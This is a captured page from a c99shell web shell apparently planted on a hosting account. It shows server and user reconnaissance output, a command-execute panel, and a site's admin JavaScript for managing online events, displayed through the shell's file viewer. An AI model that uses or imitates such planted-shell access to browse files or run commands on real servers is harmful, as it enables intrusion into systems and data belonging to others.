Software: Apache/2.4.68 (Linux) PHP/7.4.33. PHP/7.4.33 uname -a: Linux bjb2293782.nichost.ru 6.6.151-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug 10 uid=12584(bjb2293782) gid=12584(bjb2293782) groups=12584(bjb2293782) Safe-mode: OFF (not secure) /home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/ drwxr-x--- | |
| Viewing file: Select action/file-type: function openOnlineEventDialog(json, reload)
{
var dlg = openDialogBoxWithButtons("Правка мероприятия "+json.id, 800, 500);
var tabControl = new TabControl(dlg.innerElement);
var page,grid;
page = tabControl.addTab('Основные');
grid = createPropertyGrid(page);
var titleEdit = createEditProperty(grid, "Заголовок:", "100%", json.title);
var dateEdit = createDateTimeProperty(grid, "Дата и время:", json.date);
var kindEdit = createComboBoxProperty(grid, "Разновидность:", ["Литературная гостиная","Мастер-классы","Познавательный калейдоскоп"], json.kind);
var durationEdit = createEditProperty(grid, "Продолжительность (мин):", 80, json.duration);
durationEdit.editor.type="number";
durationEdit.editor.min = 1;
durationEdit.editor.max = 1000000;
var descEdit = createMemoProperty(grid, "Описание:", 6, json.desc);
var s = filials[0].text;
filials[0].text='Не задано';
var filialEdit = createComboBoxProperty(grid, "Место проведения (филиал):", filials, json.filial);
filials[0].text=s;
var categoryEdit = createEditProperty(grid, "Возврастная категория:", 80, json.category);
categoryEdit.type="number";
categoryEdit.editor.parentNode.appendChild(document.createElement('SPAN')).innerHTML = "+";
var peopleEdit = createEditProperty(grid, "Ожидаемое число зрителей:", 80, json.people);
peopleEdit.type="number";
createLinkProperty(grid, "Опубликовал:", json.author, json.authorName, editAdmin);
createStaticProperty(grid, "Когда:", json.publicDate);
page = tabControl.addTab('Афиша');
createImageProperty(page, 320,320, json.poster && json.poster!='' ? "onlineevents/"+json.poster : '',
function(formData, onOK)
{
formData.append('action','onlineevents:setposter');
formData.append('id',json.id);
sendXHR('api.php', formData,
function(response)
{
onOK(response);
},
function(error)
{
errorBox(error);
});
},
function(fileName, onOK)
{
sendXHR("api.php","action=onlineevents:delposter&id="+json.id,
function(response)
{
onOK();
},
function(error)
{
errorBox(error);
});
});
var btn = dlg.buttonPanel.appendChild(createInput('button'));
btn.value = "OK";
btn.onclick=function()
{
var post = "action=onlineevents:set";
post+='&id='+json.id;
post+='&title='+encodeURIComponent(titleEdit.getValue());
post+='&date='+encodeURIComponent(dateEdit.getValue());
post+='&desc='+encodeURIComponent(descEdit.getValue());
post+='&filial='+filialEdit.getValue();
post+='&kind='+kindEdit.getValue();
post+='&category='+encodeURIComponent(categoryEdit.getValue());
post+='&people='+parseInt(peopleEdit.getValue());
post+='&duration='+parseInt(durationEdit.getValue());
var btn = this;
btn.disabled=true;
sendXHR('api.php',post,
function(response)
{
dlg.close();
location.reload();
},
function(error)
{
btn.disabled=false;
errorBox(error);
});
};
btn = dlg.buttonPanel.appendChild(createInput('button'));
btn.value="Удалить";
btn.onclick = function()
{
yesNoDialog("Удалить данное мероприятие?","Удаление online-мероприятия",
function()
{
sendXHR("api.php","action=onlineevents:del&id="+json.id,
function()
{
dlg.close();
location.reload();
},
function(error)
{
errorBox(error);
});
});
};
btn = dlg.buttonPanel.appendChild(createInput('button'));
btn.value="Закрыть";
btn.onclick = function()
{
dlg.close();
if (reload) location.reload();
};
dlg.alignInScreenCenter();
}
function editOnlineEvent(id)
{
sendXHR('api.php','action=onlineevents:get&id='+id,
function(response)
{
openOnlineEventDialog(JSON.parse(response));
},
function(error)
{
errorBox(error);
});
}
function newOnlineEvent(filial)
{
if (!filial) filial = adminFilial;
sendXHR('api.php','action=onlineevents:new&filial='+filial,
function(response)
{
openOnlineEventDialog(JSON.parse(response), true);
},
function(error)
{
errorBox(error);
});
}
function delOnlineEvent(id)
{
yesNoDialog("Удалить данное мероприятие?","Удаление online-мероприятия",
function()
{
sendXHR("api.php","action=onlineevents:del&id="+id,
function()
{
location.reload();
},
function(error)
{
errorBox(error);
});
});
} |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]-- |